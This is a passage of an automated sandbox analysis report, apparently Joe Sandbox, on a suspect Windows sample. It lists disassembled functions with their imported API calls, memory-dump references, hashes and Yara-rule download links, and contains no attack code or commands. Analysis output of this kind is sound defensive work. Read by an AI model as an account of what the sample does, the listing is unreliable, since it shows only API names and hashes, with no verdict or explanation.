                                      • Opcode ID: 080c536e6a76d510b88dfafaf661173133cc8c0791bd127b9b0f9a6224435bff
                                      • Instruction ID: 88e6dce45fe5fec3fe7bcea09c7b5089895add3279312295491e077ae19434e8
                                      • Opcode Fuzzy Hash: 080c536e6a76d510b88dfafaf661173133cc8c0791bd127b9b0f9a6224435bff
                                      • Instruction Fuzzy Hash: C201AC36626666ABC7318B7A9C48E667798FF47BA1B100620F915D7180D721DE05C7D0
                                      Function 009173BA Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 009173D5
                                      • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 009173ED
                                      • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00917402
                                      • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00917420
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Type$Register$FileLoadModuleNameUser
                                      • String ID:
                                      • API String ID: 1352324309-0
                                      • Opcode ID: 3cef02414e2899d2f141adf585e7cf51338f9674947a47185f34a7978f676744
                                      • Instruction ID: c6826d26bc5d945a0c4abd150bcc1eea616b7b63da46269a64e5ae83c97e8e9b
                                      • Opcode Fuzzy Hash: 3cef02414e2899d2f141adf585e7cf51338f9674947a47185f34a7978f676744
                                      • Instruction Fuzzy Hash: 1211A5B57093199FE3208F90DD08FD2BBFDEB00704F508529A556D71A0D770E944DBA0
                                      Function 0091AFC6 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0091ABF1,?,00008000), ref: 0091AFE2
                                      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0091ABF1,?,00008000), ref: 0091B007
                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0091ABF1,?,00008000), ref: 0091B011
                                      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0091ABF1,?,00008000), ref: 0091B044
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CounterPerformanceQuerySleep
                                      • String ID:
                                      • API String ID: 2875609808-0
                                      • Opcode ID: 03a3afb80a49b93cacdf5807b7becf7858d3dfaf74602517848c1b909bc6dfa6
                                      • Instruction ID: c864be62c5f2d1b305bce03faea31e3716d3be27a7beab49373214e521fd1947
                                      • Opcode Fuzzy Hash: 03a3afb80a49b93cacdf5807b7becf7858d3dfaf74602517848c1b909bc6dfa6
                                      • Instruction Fuzzy Hash: D111AD71E0A52CEBCF009FE4D988BEEBB78FF0E711F010495D851B2244CB349A809B92
                                      Function 00912CEB Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00912D09
                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 00912D1A
                                      • GetCurrentThreadId.KERNEL32 ref: 00912D21
                                      • AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00912D28
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                      • String ID:
                                      • API String ID: 2710830443-0
                                      • Opcode ID: 63a36b1bd5431498c1f064869d2d753a424bad0f29c77baecc2fe0166c85a2fe
                                      • Instruction ID: 2dce84e0181d7a6b3e51fd4310201d443a75fa09f28aad2577e21be0f7144883
                                      • Opcode Fuzzy Hash: 63a36b1bd5431498c1f064869d2d753a424bad0f29c77baecc2fe0166c85a2fe
                                      • Instruction Fuzzy Hash: AFE09BB92562287ED7201772EC0DEE73E1CEF47B61F114015F105D1090D694C840D1B0
                                      Function 00948755 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CAABF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008CAB19
                                        • Part of subcall function 008CAABF: SelectObject.GDI32(?,00000000), ref: 008CAB28
                                        • Part of subcall function 008CAABF: BeginPath.GDI32(?), ref: 008CAB3F
                                        • Part of subcall function 008CAABF: SelectObject.GDI32(?,00000000), ref: 008CAB68
                                      • MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00948779
                                      • LineTo.GDI32(?,?,?), ref: 00948786
                                      • EndPath.GDI32(?), ref: 00948796
                                      • StrokePath.GDI32(?), ref: 009487A4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                      • String ID:
                                      • API String ID: 1539411459-0
                                      • Opcode ID: 5d3e47994903f61979bf615650fcb6ec82ea188ee262d05d60e447a582ae3214
                                      • Instruction ID: 2d0848839b4ca2582b65daeb5b04ce4db56fbc708818c043a7811f225f995cde
                                      • Opcode Fuzzy Hash: 5d3e47994903f61979bf615650fcb6ec82ea188ee262d05d60e447a582ae3214
                                      • Instruction Fuzzy Hash: 67F05E3605A258BFDB125F94AC19FCE3F69AF0A311F148100FA11611E187755511EBA6
                                      Function 008CAD30 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSysColor.USER32(00000008), ref: 008CAD4C
                                      • SetTextColor.GDI32(?,?), ref: 008CAD56
                                      • SetBkMode.GDI32(?,00000001), ref: 008CAD69
                                      • GetStockObject.GDI32(00000005), ref: 008CAD71
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Color$ModeObjectStockText
                                      • String ID:
                                      • API String ID: 4037423528-0
                                      • Opcode ID: 9de24ea2371967b78b80af762498684e6102137f133b880246e7c41c975ca307
                                      • Instruction ID: 3dc9a232c55f29ed47ed674cc6e47d1cfcc03f92a4ece137050d75e6e895ce94
                                      • Opcode Fuzzy Hash: 9de24ea2371967b78b80af762498684e6102137f133b880246e7c41c975ca307
                                      • Instruction Fuzzy Hash: 4EE0657565D280AEDB615B74AC09FD87B20AB16336F048219F7B6540E1C7715540AB11
                                      Function 0091156F Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentThread.KERNEL32 ref: 00911578
                                      • OpenThreadToken.ADVAPI32(00000000,?,?,?,0091111D), ref: 0091157F
                                      • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,0091111D), ref: 0091158C
                                      • OpenProcessToken.ADVAPI32(00000000,?,?,?,0091111D), ref: 00911593
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CurrentOpenProcessThreadToken
                                      • String ID:
                                      • API String ID: 3974789173-0
                                      • Opcode ID: 7bfe09cc874d01b1aa13a5238de33aeffb0bce1e60fdf858a02a4605b5c0ad83
                                      • Instruction ID: b223fba85f32a760f504048e3ea922213da08ee3e2ea705fb04505e02991501a
                                      • Opcode Fuzzy Hash: 7bfe09cc874d01b1aa13a5238de33aeffb0bce1e60fdf858a02a4605b5c0ad83
                                      • Instruction Fuzzy Hash: 28E086B5612211EFDB601FF0AD0CF963FAD9F46792F104804B246DD090D6749480D751
                                      Function 0090E008 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetDesktopWindow.USER32 ref: 0090E008
                                      • GetDC.USER32(00000000), ref: 0090E012
                                      • GetDeviceCaps.GDI32(00000000,0000000C), ref: 0090E01E
                                      • ReleaseDC.USER32(?), ref: 0090E03F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CapsDesktopDeviceReleaseWindow
                                      • String ID:
                                      • API String ID: 2889604237-0
                                      • Opcode ID: faa4123c3262bc6700ba54d37a8c40f851fc1af073138478b6251839f30d57bc
                                      • Instruction ID: 048333ea7fa4dc3d069552459bc9454a275e33057a68d787d64d51f52b7c0f04
                                      • Opcode Fuzzy Hash: faa4123c3262bc6700ba54d37a8c40f851fc1af073138478b6251839f30d57bc
                                      • Instruction Fuzzy Hash: CCE01AB9915205EFCF909FA4C808E9DBBB1FB08310B118419F84AE3210C7385941AF00
                                      Function 00924CA5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B8FA0: _wcslen.LIBCMT ref: 008B8FA5
                                      • WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00924DF2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Connection_wcslen
                                      • String ID: *$LPT
                                      • API String ID: 1725874428-3443410124
                                      • Opcode ID: 4f24a3b098797355035066f9276cdc4174d9321370d0ea5ed43d61de2eacd9bf
                                      • Instruction ID: 6abb4acecb76665a7da76f364be2cb91588c41a6dd886e18aefa456d5fda6711
                                      • Opcode Fuzzy Hash: 4f24a3b098797355035066f9276cdc4174d9321370d0ea5ed43d61de2eacd9bf
                                      • Instruction Fuzzy Hash: 28917B75A00214DFDB14CF58D484EA9BBF5BF84304F198099E80A9F3A6C775EE85CB91
                                      Function 008DE20D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                      Download Yara Rule
                                      APIs
                                      • __startOneArgErrorHandling.LIBCMT ref: 008DE29D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorHandling__start
                                      • String ID: pow
                                      • API String ID: 3213639722-2276729525
                                      • Opcode ID: 94bffd5fd5a0e07523aff459902be120fbff128b32a7a0d91b0af8bd4c9c6561
                                      • Instruction ID: 8cb00fc333600819a44b0603eb3d655212c2fca9432fa093d61787dcba7e99f0
                                      • Opcode Fuzzy Hash: 94bffd5fd5a0e07523aff459902be120fbff128b32a7a0d91b0af8bd4c9c6561
                                      • Instruction Fuzzy Hash: 21519E61A1C24696DB157719DD013793BA8FB02B41F304F9AF495CA3ECEB348CD0AB82
                                      Function 008B28C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: #
                                      • API String ID: 0-1885708031
                                      • Opcode ID: e17703f11924a7dd57a9e7cee06514579c3f7a145f8ce9b49145abbb1bbab1b9
                                      • Instruction ID: 2db58792099964ccefa2d00308fa9dc538ed921305628dcd0baf046b7b0ce449
                                      • Opcode Fuzzy Hash: e17703f11924a7dd57a9e7cee06514579c3f7a145f8ce9b49145abbb1bbab1b9
                                      • Instruction Fuzzy Hash: 5251EC3190520A9FDB25EF38C491AFA7BB0FF16310F64405AEA95DB3D0DA349D86CB61
                                      Function 008CF370 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • Sleep.KERNEL32(00000000), ref: 008CF381
                                      • GlobalMemoryStatusEx.KERNEL32(?), ref: 008CF39A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: GlobalMemorySleepStatus
                                      • String ID: @
                                      • API String ID: 2783356886-2766056989
                                      • Opcode ID: 92990f7225b4881660250f4fff9bf403e7a8862325ed1fb1dfe40e1fa1e0d6d6
                                      • Instruction ID: 6312a9d14e95c87f546e9334d875273de99879ec790821d7b4e3500271e18a23
                                      • Opcode Fuzzy Hash: 92990f7225b4881660250f4fff9bf403e7a8862325ed1fb1dfe40e1fa1e0d6d6
                                      • Instruction Fuzzy Hash: 055146714187449BD320AF14D886BAFBBECFF85340F81885DF6D9812A1DB708429CB67
                                      Function 0093566C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: BuffCharUpper_wcslen
                                      • String ID: CALLARGARRAY
                                      • API String ID: 157775604-1150593374
                                      • Opcode ID: 933c191434d550924f2868a8139f9a2807164c51174b6f5539e8b9acb98509d7
                                      • Instruction ID: 7862f2ac7c40deb46b5e6c32e4f11ea67ba1770486de1dc362e5b0a8959370fa
                                      • Opcode Fuzzy Hash: 933c191434d550924f2868a8139f9a2807164c51174b6f5539e8b9acb98509d7
                                      • Instruction Fuzzy Hash: AE418B75A00205DFCB04EFA8C8859AEBBF9FF59364F114029E516A7352EB709D81CF91
                                      Function 0092D012 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • _wcslen.LIBCMT ref: 0092D04E
                                      • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0092D058
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CrackInternet_wcslen
                                      • String ID: |
                                      • API String ID: 596671847-2343686810
                                      • Opcode ID: 9104e2bf422508d27aae64bfeed8f7f7edb419d25133f1034b66ce3759dd079b
                                      • Instruction ID: e40f4f5d3fd2f59b6ad51e16985b38c5d7d1a4cd07ab134313486e0aedff4bf2
                                      • Opcode Fuzzy Hash: 9104e2bf422508d27aae64bfeed8f7f7edb419d25133f1034b66ce3759dd079b
                                      • Instruction Fuzzy Hash: CC315D71D01119EBCF05EFA8DC85AEEBFB8FF08300F004029F915A6266DB319956DB51
                                      Function 0094349F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON
                                      Download Yara Rule
                                      APIs
                                      • DestroyWindow.USER32(?,?,?,?), ref: 00943554
                                      • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0094358F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$DestroyMove
                                      • String ID: static
                                      • API String ID: 2139405536-2160076837
                                      • Opcode ID: 01085e1a5ea115663ffb3238d207ae14581e710d5379905b56685cf83cf2cda5
                                      • Instruction ID: f5935e94c6702c65e4ed111885e8d6437f37a9ee81fb309c0598283c02377ce3
                                      • Opcode Fuzzy Hash: 01085e1a5ea115663ffb3238d207ae14581e710d5379905b56685cf83cf2cda5
                                      • Instruction Fuzzy Hash: 66316D71110604AEDB249F78D881EFB77BDFF88724F109619F9A987290DA34ED81DB60
                                      Function 0094446C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00001132,00000000,?), ref: 00944554
                                      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00944569
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID: '
                                      • API String ID: 3850602802-1997036262
                                      • Opcode ID: 500d151f4d713f2cbfc86bc7f8d07be1135c99b52070bece4be6e28173dc9b7d
